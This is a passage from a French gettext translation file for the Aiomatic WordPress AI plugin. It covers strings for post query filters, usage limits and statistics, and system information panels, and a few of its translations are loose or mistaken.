utilisez l’ID de la page." #: res/aiomatic-embeddings.php:383 res/aiomatic-spinner-list.php:2538 msgid "Page ID:" msgstr "ID de la page :" #: res/aiomatic-embeddings.php:395 res/aiomatic-spinner-list.php:2550 msgid "(string) - use page slug." msgstr "(string) - utiliser le nom de la page." #: res/aiomatic-embeddings.php:399 res/aiomatic-spinner-list.php:2554 msgid "Page Name:" msgstr "Nom de la page :" #: res/aiomatic-embeddings.php:411 res/aiomatic-spinner-list.php:2566 msgid "(int) - use page id. Return just the child Pages." msgstr "" "(int) - utiliser l'ID de la page. Retourne uniquement les pages enfants." #: res/aiomatic-embeddings.php:415 res/aiomatic-spinner-list.php:2570 msgid "Post Parent:" msgstr "Article parent :" #: res/aiomatic-embeddings.php:427 res/aiomatic-spinner-list.php:2582 msgid "" "(string,string) - The post types to return. Valid values are: post, page, " "revision, attachment, other-custom-post-types. To match any post type enter " "the keyword: any. The default is post (if left empty)." msgstr "" "(string,string) - Les types de messages à renvoyer. Les valeurs valides " "sont : article, page, revision, attachment, other-custom-article-types. Pour " "trouver n'importe quel type de message, entrez le mot-clé : any. La valeur " "par défaut est article (si elle est vide)." #: res/aiomatic-embeddings.php:431 res/aiomatic-spinner-list.php:2586 msgid "Post Type:" msgstr "Type d’article :" #: res/aiomatic-embeddings.php:443 res/aiomatic-spinner-list.php:2598 msgid "" "(string) - The post status to return. Valid values are: publish, pending, " "draft, auto-draft, future, private, inherit, trash, other-custom-post-" "statuses" msgstr "" "(string) - Le statut de l'article à renvoyer. Les valeurs valides sont : " "publish, pending, draft, auto-draft, future, private, inherit, trash, other-" "custom-post-statuses" #: res/aiomatic-embeddings.php:459 res/aiomatic-spinner-list.php:2614 msgid "" "(int) - number of post to alter. Use 'posts_per_page'=-1 to alter all posts." msgstr "" "(int) - nombre de messages à modifier. Utilisez 'posts_per_page'=-1 pour " "modifier tous les messages." #: res/aiomatic-embeddings.php:463 res/aiomatic-spinner-list.php:2618 msgid "Maximum Posts To Change:" msgstr "Nombre maximal de postes à modifier :" #: res/aiomatic-embeddings.php:475 res/aiomatic-spinner-list.php:2630 msgid "(int) - number of post to displace or pass over." msgstr "(int) - nombre de postes à déplacer ou à faire passer." #: res/aiomatic-embeddings.php:479 res/aiomatic-spinner-list.php:2634 msgid "Search Offset:" msgstr "Décalage de la recherche :" #: res/aiomatic-embeddings.php:491 res/aiomatic-spinner-list.php:2646 msgid "(string) - Custom field key." msgstr "(string) - Clé du champ personnalisé." #: res/aiomatic-embeddings.php:495 res/aiomatic-spinner-list.php:2650 msgid "Meta Key Name:" msgstr "Nom de la clé méta :" #: res/aiomatic-embeddings.php:507 res/aiomatic-spinner-list.php:2662 msgid "(string) - Custom field value." msgstr "(string) - Valeur du champ personnalisé." #: res/aiomatic-embeddings.php:511 res/aiomatic-spinner-list.php:2666 msgid "Meta Key Value:" msgstr "Valeur de la clé méta :" #: res/aiomatic-embeddings.php:523 res/aiomatic-spinner-list.php:2678 #, php-format msgid "" "(string) - Passes along the query string variable from a search. For example " "usage see: this link." msgstr "" "(string) - Transmet la variable \"chaîne de requête\" d'une recherche. Par " "exemple, voir : ce lien." #: res/aiomatic-embeddings.php:527 res/aiomatic-spinner-list.php:2682 msgid "Search Query:" msgstr "Requête de recherche :" #: res/aiomatic-embeddings.php:539 res/aiomatic-spinner-list.php:2694 msgid "(int) - 4 digit year (e.g. 2011)." msgstr "(int) - 4 chiffres par année (par exemple 2011)." #: res/aiomatic-embeddings.php:543 res/aiomatic-spinner-list.php:2698 msgid "Year Query:" msgstr "Requête de l'année :" #: res/aiomatic-embeddings.php:555 res/aiomatic-spinner-list.php:2710 msgid "(int) - Month number (from 1 to 12)." msgstr "(int) - Numéro du mois (de 1 à 12)." #: res/aiomatic-embeddings.php:559 res/aiomatic-spinner-list.php:2714 msgid "Month Query:" msgstr "Requête mensuelle :" #: res/aiomatic-embeddings.php:571 res/aiomatic-spinner-list.php:2726 msgid "(int) - Day of the month (from 1 to 31)." msgstr "(int) - Jour du mois (de 1 à 31)." #: res/aiomatic-embeddings.php:575 res/aiomatic-spinner-list.php:2730 msgid "Day Query:" msgstr "Demande jour :" #: res/aiomatic-embeddings.php:587 res/aiomatic-spinner-list.php:2742 msgid "" "Select which posts should be processed - posts with or without featured " "images." msgstr "" "Sélectionnez les articles à traiter - les articles avec ou sans images " "vedettes." #: res/aiomatic-embeddings.php:591 res/aiomatic-spinner-list.php:2746 msgid "Featured Image Status:" msgstr "Statut de l'image en vedette :" #: res/aiomatic-embeddings.php:595 res/aiomatic-main.php:5655 #: res/aiomatic-main.php:5954 res/aiomatic-spinner-list.php:2754 msgid "Any" msgstr "Tout" #: res/aiomatic-embeddings.php:596 res/aiomatic-spinner-list.php:2759 msgid "With Featured Images" msgstr "Avec des images en vedette" #: res/aiomatic-embeddings.php:597 res/aiomatic-spinner-list.php:2764 msgid "Without Featured Images" msgstr "Sans images en vedette" #: res/aiomatic-embeddings.php:607 res/aiomatic-spinner-list.php:2774 msgid "" "(string) - Designates the ascending or descending order of the 'orderby' " "parameter. Defaultto 'DESC'." msgstr "" "(string) - Désigne l'ordre croissant ou décroissant du paramètre " "\"orderby\". La valeur par défaut est \"DESC\"." #: res/aiomatic-embeddings.php:611 res/aiomatic-spinner-list.php:2778 msgid "Order Results:" msgstr "Ordre des Résultats :" #: res/aiomatic-embeddings.php:616 res/aiomatic-spinner-list.php:2791 msgid "Descendent" msgstr "Descendant" #: res/aiomatic-embeddings.php:617 res/aiomatic-spinner-list.php:2796 msgid "Ascendent" msgstr "Ascendant" #: res/aiomatic-embeddings.php:627 res/aiomatic-spinner-list.php:2806 msgid "(string) - Sort retrieved posts by parameter. Defaults to 'date'." msgstr "" "(string) - Permet de trier les messages récupérés en fonction d'un " "paramètre. La valeur par défaut est \"date\"." #: res/aiomatic-embeddings.php:631 res/aiomatic-spinner-list.php:2810 msgid "Order Results By:" msgstr "Résultats de l’ordre par :" #: res/aiomatic-embeddings.php:639 res/aiomatic-single-list.php:428 #: res/aiomatic-spinner-list.php:2838 msgid "Author" msgstr "Auteur" #: res/aiomatic-embeddings.php:642 res/aiomatic-spinner-list.php:2853 msgid "Modified" msgstr "Modifié" #: res/aiomatic-embeddings.php:643 res/aiomatic-spinner-list.php:2858 msgid "Parent" msgstr "Parent" #: res/aiomatic-embeddings.php:644 res/aiomatic-spinner-list.php:2863 msgid "Random" msgstr "Aléatoire" #: res/aiomatic-embeddings.php:645 res/aiomatic-spinner-list.php:2868 msgid "Comment Count" msgstr "Nombre de commentaires" #: res/aiomatic-embeddings.php:646 res/aiomatic-spinner-list.php:2873 msgid "Menu Order" msgstr "Ordre du menu" #: res/aiomatic-embeddings.php:647 res/aiomatic-spinner-list.php:2878 msgid "Meta Value" msgstr "Valeur de meta" #: res/aiomatic-embeddings.php:648 res/aiomatic-spinner-list.php:2883 msgid "Meta Value Number" msgstr "Numéro de valeur méta" #: res/aiomatic-images.php:15 msgid "Aiomatic Images" msgstr "Aiomatic Images" #: res/aiomatic-images.php:19 msgid "AI Generated Images" msgstr "Images générées par l'IA" #: res/aiomatic-images.php:23 msgid "Loading editor..." msgstr "Chargement de l'éditeur..." #: res/aiomatic-limits-statistics.php:72 res/aiomatic-limits-statistics.php:806 #: res/aiomatic-limits-statistics.php:937 #: res/aiomatic-limits-statistics.php:1073 #: res/aiomatic-limits-statistics.php:1240 #: res/aiomatic-limits-statistics.php:1474 msgid "Queries" msgstr "Requêtes" #: res/aiomatic-limits-statistics.php:89 res/aiomatic-limits-statistics.php:686 #: res/aiomatic-limits-statistics.php:1090 #: res/aiomatic-limits-statistics.php:1257 #: res/aiomatic-limits-statistics.php:1491 msgid "Price" msgstr "Prix" #: res/aiomatic-limits-statistics.php:98 res/aiomatic-limits-statistics.php:831 #: res/aiomatic-limits-statistics.php:962 #: res/aiomatic-limits-statistics.php:1118 #: res/aiomatic-limits-statistics.php:1285 #: res/aiomatic-limits-statistics.php:1498 msgid "Day" msgstr "Jour" #: res/aiomatic-limits-statistics.php:104 #: res/aiomatic-limits-statistics.php:836 #: res/aiomatic-limits-statistics.php:967 #: res/aiomatic-limits-statistics.php:1123 #: res/aiomatic-limits-statistics.php:1290 #: res/aiomatic-limits-statistics.php:1499 msgid "Week" msgstr "Semaine" #: res/aiomatic-limits-statistics.php:110 #: res/aiomatic-limits-statistics.php:841 #: res/aiomatic-limits-statistics.php:972 #: res/aiomatic-limits-statistics.php:1128 #: res/aiomatic-limits-statistics.php:1295 #: res/aiomatic-limits-statistics.php:1500 msgid "Month" msgstr "Mois" #: res/aiomatic-limits-statistics.php:116 #: res/aiomatic-limits-statistics.php:846 #: res/aiomatic-limits-statistics.php:977 #: res/aiomatic-limits-statistics.php:1133 #: res/aiomatic-limits-statistics.php:1300 #: res/aiomatic-limits-statistics.php:1501 msgid "Year" msgstr "Année" #: res/aiomatic-limits-statistics.php:125 #: res/aiomatic-limits-statistics.php:269 #: res/aiomatic-limits-statistics.php:1506 #: res/aiomatic-limits-statistics.php:1624 res/aiomatic-shortcodes.php:46 #: res/aiomatic-single-list.php:423 res/aiomatic-single-list.php:741 msgid "No" msgstr "Non" #: res/aiomatic-limits-statistics.php:131 #: res/aiomatic-limits-statistics.php:263 #: res/aiomatic-limits-statistics.php:1507 #: res/aiomatic-limits-statistics.php:1623 res/aiomatic-shortcodes.php:47 #: res/aiomatic-single-list.php:424 res/aiomatic-single-list.php:742 msgid "Yes" msgstr "Oui" #: res/aiomatic-limits-statistics.php:144 msgid "What to Restrict" msgstr "Ce qu'il faut restreindre" #: res/aiomatic-limits-statistics.php:149 #: res/aiomatic-limits-statistics.php:1531 msgid "Select the user role to be restricted." msgstr "Sélectionnez le rôle de l'utilisateur à restreindre." #: res/aiomatic-limits-statistics.php:152 #: res/aiomatic-limits-statistics.php:1535 msgid "User Role:" msgstr "Rôle d'utilisateur:" #: res/aiomatic-limits-statistics.php:161 #: res/aiomatic-limits-statistics.php:196 #: res/aiomatic-limits-statistics.php:1539 #: res/aiomatic-limits-statistics.php:1568 msgid "Don't check" msgstr "Ne pas vérifier" #: res/aiomatic-limits-statistics.php:167 #: res/aiomatic-limits-statistics.php:1540 msgid "Apply For Any Role" msgstr "Appliquer pour n'importe quel poste" #: res/aiomatic-limits-statistics.php:184 #: res/aiomatic-limits-statistics.php:1560 msgid "Integration with 'Ultimate Membership Pro'" msgstr "Intégration avec \"Ultimate Membership Pro" #: res/aiomatic-limits-statistics.php:187 #: res/aiomatic-limits-statistics.php:1564 msgid "Ultimate Membership Pro" msgstr "Ultimate Membership Pro" #: res/aiomatic-limits-statistics.php:187 #: res/aiomatic-limits-statistics.php:1564 msgid "Subscription Plan:" msgstr "Offre d'Adhésion :" #: res/aiomatic-limits-statistics.php:210 #: res/aiomatic-limits-statistics.php:1581 msgid "Apply For Any Subscription" msgstr "Appliquer pour tout abonnement" #: res/aiomatic-limits-statistics.php:216 #: res/aiomatic-limits-statistics.php:1580 msgid "Not Subscribed Users" msgstr "Utilisateurs non inscrits" #: res/aiomatic-limits-statistics.php:230 msgid "More Settings" msgstr "Plus de paramètres" #: res/aiomatic-limits-statistics.php:235 #: res/aiomatic-limits-statistics.php:1603 msgid "Set the message to show to restricted users." msgstr "Définir l'article à afficher aux utilisateurs restreints." #: res/aiomatic-limits-statistics.php:238 #: res/aiomatic-limits-statistics.php:1607 msgid "User Restricted Message:" msgstr "Message réservé à l'utilisateur :" #: res/aiomatic-limits-statistics.php:448 #: res/aiomatic-limits-statistics.php:458 msgid "Usage Logs" msgstr "Journaux d’utilisation" #: res/aiomatic-limits-statistics.php:449 #: res/aiomatic-limits-statistics.php:490 msgid "Usage Graphs" msgstr "Graphiques d'utilisation" #: res/aiomatic-limits-statistics.php:450 msgid "AI Usage Limits" msgstr "Limites d'utilisation de l'IA" #: res/aiomatic-limits-statistics.php:451 msgid "Text-to-Speech Usage Limits" msgstr "Limites d'utilisation de Text-to-Speech (synthèse vocale)" #: res/aiomatic-limits-statistics.php:452 #: res/aiomatic-limits-statistics.php:494 msgid "OpenAI Status" msgstr "Statut de l'OpenAI" #: res/aiomatic-limits-statistics.php:456 msgid "" "The Aiomatic plugin provides a robust set of features for managing and " "monitoring the usage of AI services. This tutorial will guide you through " "the 'Limits and Statistics' feature of the Aiomatic plugin." msgstr "" "Le plugin Aiomatic fournit un ensemble de fonctionnalités robustes pour " "gérer et surveiller l'utilisation des services d'intelligence artificielle. " "Ce tutoriel vous guidera à travers la fonctionnalité \"Limites et " "statistiques\" du plugin Aiomatic." #: res/aiomatic-limits-statistics.php:460 msgid "Navigate to the 'Limits and Statistics' section of the Aiomatic plugin." msgstr "Accédez à la section \"Limites et statistiques\" du plugin Aiomatic." #: res/aiomatic-limits-statistics.php:462 msgid "" "Click on the 'Usage Logs' tab. Here, you will see a table with the following " "columns:" msgstr "" "Cliquez sur l'onglet \"Journal d'utilisation\". Vous verrez un tableau avec " "les colonnes suivantes :" #: res/aiomatic-limits-statistics.php:465 msgid "User: The user who made the request." msgstr "Utilisateur : L'utilisateur qui a fait la demande." #: res/aiomatic-limits-statistics.php:467 msgid "IP: The IP address from which the request was made." msgstr "IP : L'adresse IP à partir de laquelle la demande a été faite." #: res/aiomatic-limits-statistics.php:469 msgid "Source: The source of the request." msgstr "Source : La source de la demande." #: res/aiomatic-limits-statistics.php:471 msgid "Model: The AI model used for the request." msgstr "Modèle : Le modèle d'IA utilisé pour la demande." #: res/aiomatic-limits-statistics.php:473 msgid "Mode: The mode in which the request was made." msgstr "Mode : Le mode dans lequel la demande a été faite." #: res/aiomatic-limits-statistics.php:475 msgid "Units: The number of units used for the request." msgstr "Unités : Le nombre d'unités utilisées pour la demande." #: res/aiomatic-limits-statistics.php:477 msgid "Type: The type of units listed." msgstr "Type : Le type d'unités répertoriées." #: res/aiomatic-limits-statistics.php:479 msgid "Price: The cost of the request." msgstr "Le prix : Le coût de la demande." #: res/aiomatic-limits-statistics.php:481 msgid "Time: The time when the request was made." msgstr "Heure : L'heure à laquelle la demande a été faite." #: res/aiomatic-limits-statistics.php:483 msgid "Session ID: The ID of the session in which the request was made." msgstr "" "ID de la session : l'ID de la session au cours de laquelle la demande a été " "faite." #: res/aiomatic-limits-statistics.php:485 msgid "" "You can use this table to monitor the usage of the plugin and track any " "unusual activity." msgstr "" "Vous pouvez utiliser ce tableau pour surveiller l'utilisation du plugin et " "repérer toute activité inhabituelle." #: res/aiomatic-limits-statistics.php:491 msgid "" "Click on the 'Usage Graphs' tab in the 'Limits and Statistics' section. " "Here, you can view graphs that represent the call count, used token count, " "usage cost, and generated AI image count. These graphs provide a visual " "representation of the plugin's usage over time, helping you understand usage " "trends and patterns." msgstr "" "Cliquez sur l'onglet \"Graphiques d'utilisation\" dans la section \"Limites " "et statistiques\". Ici, vous pouvez voir des graphiques qui représentent le " "nombre d'appels, le nombre de jetons utilisés, le coût d'utilisation et le " "nombre d'images d'IA générées. Ces graphiques fournissent une représentation " "visuelle de l'utilisation du plugin au fil du temps, ce qui vous aide à " "comprendre les tendances et les modèles d'utilisation." #: res/aiomatic-limits-statistics.php:492 msgid "Usage Limits" msgstr "Limites d'utilisation" #: res/aiomatic-limits-statistics.php:493 msgid "" "Click on the 'Usage Limits' tab in the 'Limits and Statistics' section. " "Here, you can set usage limits for both logged in and not logged in users. " "You can set limits based on token usage, price usage, or call count usage. " "You can also create usage limiting rules. For example, you might limit the " "number of requests a user can make in a given time period. The Aiomatic " "plugin can be integrated with the 'Ultimate Membership Pro' plugin. This " "allows you to set different usage amounts for members who have joined " "different membership plans. You can also limit usage based on user role. For " "example, you might allow administrators to make more requests than regular " "users." msgstr "" "Cliquez sur l'onglet \"Limites d'utilisation\" dans la section \"Limites et " "statistiques\". Ici, vous pouvez définir des limites d'utilisation pour les " "utilisateurs connectés et non connectés. Vous pouvez fixer des limites " "basées sur l'utilisation de jetons, l'utilisation de prix ou l'utilisation " "du nombre d'appels. Vous pouvez également créer des règles de limitation " "d'utilisation. Par exemple, vous pouvez limiter le nombre de requêtes qu'un " "utilisateur peut effectuer pendant une période donnée. Le plugin Aiomatic " "peut être intégré au plugin \"Ultimate Membership Pro\". Cela vous permet de " "fixer des montants d'utilisation différents pour les membres qui ont adhéré " "à des plans d'adhésion différents. Vous pouvez également limiter " "l'utilisation en fonction du rôle de l'utilisateur. Par exemple, vous pouvez " "autoriser les administrateurs à faire plus de demandes que les utilisateurs " "ordinaires." #: res/aiomatic-limits-statistics.php:495 msgid "" "Click on the 'OpenAI Status' tab in the 'Limits and Statistics' section. " "Here, you can see reported incidents from OpenAI's part and their API " "service status. This can help you troubleshoot any issues with the AI " "services provided by the plugin. Remember, the 'Limits and Statistics' " "feature is a powerful tool for managing and monitoring the usage of the " "Aiomatic plugin. By understanding how to use this feature, you can ensure " "that your AI services are being used effectively and responsibly." msgstr "" "Cliquez sur l'onglet \"OpenAI Status\" dans la section \"Limits and " "Statistics\". Ici, vous pouvez voir les incidents signalés de la part " "d'OpenAI et l'état de leur service API. Cela peut vous aider à résoudre les " "problèmes liés aux services d'IA fournis par le plugin. N'oubliez pas que la " "fonction \" Limites et statistiques \" est un outil puissant pour gérer et " "surveiller l'utilisation du plugin Aiomatic. En comprenant comment utiliser " "cette fonction, vous pouvez vous assurer que vos services d'IA sont utilisés " "de manière efficace et responsable." #: res/aiomatic-limits-statistics.php:496 msgid "Limits and Statistics Tutorial Video" msgstr "Tutoriel vidéo sur les limites et les statistiques" #: res/aiomatic-limits-statistics.php:572 msgid "Empty results." msgstr "Résultats vides." #: res/aiomatic-limits-statistics.php:596 #: res/aiomatic-limits-statistics.php:605 msgid "results" msgstr "résultats" #: res/aiomatic-limits-statistics.php:672 msgid "User" msgstr "Utilisateur" #: res/aiomatic-limits-statistics.php:674 msgid "IP" msgstr "IP" #: res/aiomatic-limits-statistics.php:676 msgid "Source" msgstr "Source" #: res/aiomatic-limits-statistics.php:678 res/aiomatic-single-list.php:668 #: res/aiomatic-training.php:478 msgid "Model" msgstr "Modèle" #: res/aiomatic-limits-statistics.php:680 msgid "Mode" msgstr "Mode" #: res/aiomatic-limits-statistics.php:682 msgid "Units" msgstr "Unités" #: res/aiomatic-limits-statistics.php:684 res/aiomatic-main.php:2637 #: res/aiomatic-shortcodes.php:456 msgid "Type" msgstr "Type" #: res/aiomatic-limits-statistics.php:688 msgid "Time" msgstr "Heure" #: res/aiomatic-limits-statistics.php:690 msgid "Session ID" msgstr "ID de session" #: res/aiomatic-limits-statistics.php:739 #: res/aiomatic-limits-statistics.php:1011 #: res/aiomatic-limits-statistics.php:1636 #: res/aiomatic-limits-statistics.php:1765 msgid "" "You need to enable the 'Enable Usage Tracking For Statistics And Usage " "Limits' checkbox from the plugin's 'Main Settings' menu to enable this " "feature." msgstr "" "Vous devez activer la case à cocher \"Activer le suivi de l'utilisation pour " "les statistiques et les limites d'utilisation\" dans le menu \"Paramètres " "principaux\" du plugin pour activer cette fonctionnalité." #: res/aiomatic-limits-statistics.php:764 msgid "Do you want to enable text-to-speech usage limits?" msgstr "Voulez-vous activer les limites d'utilisation de la synthèse vocale ?" #: res/aiomatic-limits-statistics.php:768 msgid "Enable Text-to-Speech Usage Limits:" msgstr "" "Activer les limites d'utilisation de la synthèse vocale (Text-to-Speech) :" #: res/aiomatic-limits-statistics.php:777 msgid "Text-to-Speech Restrictions For Logged In Users:" msgstr "Restrictions de la synthèse vocale pour les utilisateurs connectés :" #: res/aiomatic-limits-statistics.php:784 #: res/aiomatic-limits-statistics.php:1056 #: res/aiomatic-limits-statistics.php:1396 msgid "" "Select the maximum number of credits for logged in users. Also, you can " "select the type of credits: queries, tokens or price. To disable this " "feature, leave this field blank." msgstr "" "Sélectionnez le nombre maximum de crédits pour les utilisateurs connectés. " "Vous pouvez également sélectionner le type de crédits : requêtes, jetons ou " "prix. Pour désactiver cette fonctionnalité, laissez ce champ vide." #: res/aiomatic-limits-statistics.php:788 #: res/aiomatic-limits-statistics.php:1060 msgid "Max User Credits:" msgstr "Nombre maximal de crédits d’utilisateur :" #: res/aiomatic-limits-statistics.php:793 #: res/aiomatic-limits-statistics.php:1065 msgid "Maximum Credits For Users" msgstr "Crédits maximums pour les utilisateurs" #: res/aiomatic-limits-statistics.php:801 #: res/aiomatic-limits-statistics.php:932 msgid "Characters" msgstr "Caractères" #: res/aiomatic-limits-statistics.php:817 #: res/aiomatic-limits-statistics.php:948 #: res/aiomatic-limits-statistics.php:1104 #: res/aiomatic-limits-statistics.php:1271 #: res/aiomatic-limits-statistics.php:1416 msgid "Select the time frame for which to apply the above limitation." msgstr "" "Sélectionnez la période pour laquelle vous souhaitez appliquer la limitation " "susmentionnée." #: res/aiomatic-limits-statistics.php:821 #: res/aiomatic-limits-statistics.php:952 #: res/aiomatic-limits-statistics.php:1108 #: res/aiomatic-limits-statistics.php:1275 msgid "Time Frame:" msgstr "Créneau horaire :" #: res/aiomatic-limits-statistics.php:857 #: res/aiomatic-limits-statistics.php:988 #: res/aiomatic-limits-statistics.php:1144 #: res/aiomatic-limits-statistics.php:1311 msgid "" "With absolute, a day represents today. Otherwise, it represent the past 24 " "hours from now. The same logic applies to the other time frames." msgstr "" "En valeur absolue, un jour représente aujourd'hui. Sinon, il représente les " "dernières 24 heures à partir de maintenant. La même logique s'applique aux " "autres cadres temporels." #: res/aiomatic-limits-statistics.php:861 #: res/aiomatic-limits-statistics.php:992 #: res/aiomatic-limits-statistics.php:1148 #: res/aiomatic-limits-statistics.php:1315 msgid "Absolute Timeframe:" msgstr "Temps absolu :" #: res/aiomatic-limits-statistics.php:879 #: res/aiomatic-limits-statistics.php:1166 msgid "" "Select the users who will have full access when interacting with the " "features of the plugin." msgstr "" "Sélectionnez les utilisateurs qui auront un accès complet lorsqu'ils " "interagiront avec les fonctionnalités du plugin." #: res/aiomatic-limits-statistics.php:883 #: res/aiomatic-limits-statistics.php:1170 msgid "Full Access Users:" msgstr "Utilisateurs en accès complet :" #: res/aiomatic-limits-statistics.php:893 #: res/aiomatic-limits-statistics.php:1180 msgid "Admins Only" msgstr "Administrateurs Uniquement" #: res/aiomatic-limits-statistics.php:898 #: res/aiomatic-limits-statistics.php:1185 msgid "Editors & Admins" msgstr "Rédacteurs et administrateurs" #: res/aiomatic-limits-statistics.php:908 msgid "Text-to-Speech Restrictions For Not Logged In Users:" msgstr "" "Restrictions de la synthèse vocale pour les utilisateurs non connectés :" #: res/aiomatic-limits-statistics.php:915 #: res/aiomatic-limits-statistics.php:1223 msgid "" "Select the maximum number of credits for guests who are not logged in. To " "disable this feature, leave this field blank." msgstr "" "Sélectionnez le nombre maximum de crédits pour les invités qui ne sont pas " "connectés. Pour désactiver cette fonction, laissez ce champ vide." #: res/aiomatic-limits-statistics.php:919 #: res/aiomatic-limits-statistics.php:1227 msgid "Max Guest Credits:" msgstr "Max Crédits d'invités :" #: res/aiomatic-limits-statistics.php:924 #: res/aiomatic-limits-statistics.php:1232 msgid "Maximum Credits For Guests" msgstr "Crédits maximums pour les invités" #: res/aiomatic-limits-statistics.php:1036 msgid "Do you want to enable global usage limits?" msgstr "Souhaitez-vous activer les limites d'utilisation globales ?" #: res/aiomatic-limits-statistics.php:1040 msgid "Enable Global Usage Limits:" msgstr "Activer les limites d'utilisation globales :" #: res/aiomatic-limits-statistics.php:1049 msgid "AI Restrictions For Logged In Users:" msgstr "Restrictions de l'AI pour les utilisateurs connectés :" #: res/aiomatic-limits-statistics.php:1201 msgid "" "Set the message to be displayed to logged in users when usage limit is " "reached." msgstr "" "Définir l'article à afficher aux utilisateurs connectés lorsque la limite " "d'utilisation est atteinte." #: res/aiomatic-limits-statistics.php:1205 msgid "Message When Limit Reached (Logged In Users):" msgstr "Message lorsque la limite est atteinte (utilisateurs connectés) :" #: res/aiomatic-limits-statistics.php:1210 #: res/aiomatic-limits-statistics.php:1342 #: res/aiomatic-limits-statistics.php:1366 msgid "Usage limit message" msgstr "Message de limite d'utilisation" #: res/aiomatic-limits-statistics.php:1216 msgid "AI Restrictions For Not Logged In Users:" msgstr "Restrictions de l'AI pour les utilisateurs non connectés :" #: res/aiomatic-limits-statistics.php:1333 msgid "" "Set the message to be displayed to not logged in users when usage limit is " "reached." msgstr "" "Définir l'article à afficher aux utilisateurs non connectés lorsque la " "limite d'utilisation est atteinte." #: res/aiomatic-limits-statistics.php:1337 msgid "Message When Limit Reached (Not Logged In Users):" msgstr "Message lorsque la limite est atteinte (utilisateurs non connectés) :" #: res/aiomatic-limits-statistics.php:1357 msgid "" "Set the message to be displayed to logged in users when usage limit is " "reached for the 'Rule Based Restrictions'." msgstr "" "Définir l'article à afficher aux utilisateurs connectés lorsque la limite " "d'utilisation est atteinte pour les \"Restrictions basées sur des règles\"." #: res/aiomatic-limits-statistics.php:1361 msgid "Message When Limit Reached (Rule Based Restrictions - Global):" msgstr "" "Message lorsque la limite est atteinte (Restrictions basées sur des règles - " "Global) :" #: res/aiomatic-limits-statistics.php:1374 msgid "Rule Based Restrictions:" msgstr "Options de publication basées sur le titre :" #: res/aiomatic-limits-statistics.php:1386 msgid "This is the ID of the rule. " msgstr "Il s’agit de l’ID de la règle. " #: res/aiomatic-limits-statistics.php:1392 msgid "Max User Credits" msgstr "Crédits utilisateurs maximums" #: res/aiomatic-limits-statistics.php:1402 msgid "Credit Type" msgstr "Type de Crédit" #: res/aiomatic-limits-statistics.php:1406 msgid "Select the type of credits." msgstr "Sélectionnez le type de crédits." #: res/aiomatic-limits-statistics.php:1412 msgid "Time Frame" msgstr "Période de temps" #: res/aiomatic-limits-statistics.php:1426 msgid "" "Select if you want to apply an absolute timeframe. With absolute, a day " "represents today. Otherwise, it represent the past 24 hours from now. The " "same logic applies to the other time frames." msgstr "" "Sélectionnez si vous souhaitez appliquer un délai absolu. Dans le cas d'un " "délai absolu, un jour représente aujourd'hui. Sinon, il représente les " "dernières 24 heures à partir de maintenant. La même logique s'applique aux " "autres cadres temporels." #: res/aiomatic-limits-statistics.php:1432 res/aiomatic-shortcodes.php:88 msgid "Options" msgstr "Options" #: res/aiomatic-limits-statistics.php:1456 msgid "" "Do you want to enable this plugin? You can deactivate any rule (you don't " "have to delete them to deactivate them)." msgstr "" "Voulez-vous activer ce plugin ? Vous pouvez désactiver n'importe quelle " "règle (il n'est pas nécessaire de les supprimer pour les désactiver)." #: res/aiomatic-limits-statistics.php:1522 msgid "What to Restrict:" msgstr "Ce qu'il faut restreindre :" #: res/aiomatic-limits-statistics.php:1595 msgid "More Settings:" msgstr "Paramètres du modèle :" #: res/aiomatic-limits-statistics.php:1632 msgid "API usage for this user account: " msgstr "Utilisation de l'API pour ce compte d'utilisateur : " #: res/aiomatic-limits-statistics.php:1642 msgid "" "Only the incidents which occured less than a week ago are displayed here." msgstr "" "Seuls les incidents survenus il y a moins d'une semaine sont affichés ici." #: res/aiomatic-limits-statistics.php:1756 msgid "API Call Count" msgstr "Nombre d'appels à l'API" #: res/aiomatic-limits-statistics.php:1756 msgid "API Call Cost (USD)" msgstr "Coût de l'appel à l'API (USD)" #: res/aiomatic-limits-statistics.php:1756 msgid "API Token Count" msgstr "Nombre de jetons API" #: res/aiomatic-limits-statistics.php:1756 msgid "AI Image Count" msgstr "Nombre d'images IA" #: res/aiomatic-logs.php:49 msgid "Activity Logs" msgstr "Journaux d'activités" #: res/aiomatic-logs.php:50 msgid "Maintenance" msgstr "Maintenance" #: res/aiomatic-logs.php:51 msgid "System Info" msgstr "Info système" #: res/aiomatic-logs.php:55 msgid "General System Info:" msgstr "Informations générales sur le système :" #: res/aiomatic-logs.php:59 msgid "Some general system information." msgstr "Quelques informations générales sur le système." #: res/aiomatic-logs.php:67 msgid "Your User Agent:" msgstr "Votre User Agent :" #: res/aiomatic-logs.php:71 msgid "PHP Memory Limit:" msgstr "PHP Mémoire limite :" #: res/aiomatic-logs.php:75 msgid "PHP DateTime Class:" msgstr "Classe PHP DateTime :" #: res/aiomatic-logs.php:76 res/aiomatic-logs.php:80 msgid "Available" msgstr "Disponible" #: res/aiomatic-logs.php:76 res/aiomatic-logs.php:80 msgid "Not available" msgstr "Non disponible" #: res/aiomatic-logs.php:79 msgid "PHP Curl:" msgstr "PHP Curl :" #: res/aiomatic-logs.php:85 msgid "Detailed System Info:" msgstr "Informations détaillées sur le système :" #: res/aiomatic-logs.php:89 msgid "More advanced and detailed system information." msgstr "Informations avancées et plus détaillées sur le système." #: res/aiomatic-logs.php:95 res/aiomatic-logs.php:99 msgid "WordPress Environment" msgstr "Environnement WordPress" #: res/aiomatic-logs.php:104 msgid "Home URL" msgstr "URL accueil" #: res/aiomatic-logs.php:104 msgid "Home URL:" msgstr "URL accueil:" #: res/aiomatic-logs.php:106 msgid "The URL of your site's homepage." msgstr "L’URL de la page d’accueil de votre site." #: res/aiomatic-logs.php:111 msgid "Site URL" msgstr "URL du site" #: res/aiomatic-logs.php:111 msgid "Site URL:" msgstr "URL du site:" #: res/aiomatic-logs.php:112 msgid "The root URL of your site." msgstr "L'URL racine de votre site." #: res/aiomatic-logs.php:116 msgid "WP Version" msgstr "Version WP" #: res/aiomatic-logs.php:116 msgid "WP Version:" msgstr "Version WP:" #: res/aiomatic-logs.php:118 msgid "The version of WordPress installed on your site." msgstr "La version de WordPress installée sur votre site." #: res/aiomatic-logs.php:122 msgid "WP Multisite" msgstr "WP Multisite" #: res/aiomatic-logs.php:122 msgid "WP Multisite:" msgstr "WP Multisite:" #: res/aiomatic-logs.php:124 msgid "Whether or not you have WordPress Multisite enabled." msgstr "Si vous avez ou non WordPress multisite activé." #: res/aiomatic-logs.php:129 msgid "WP Memory Limit" msgstr "Limite de mémoire WP" #: res/aiomatic-logs.php:129 msgid "WP Memory Limit:" msgstr "WP Memory Limit:" #: 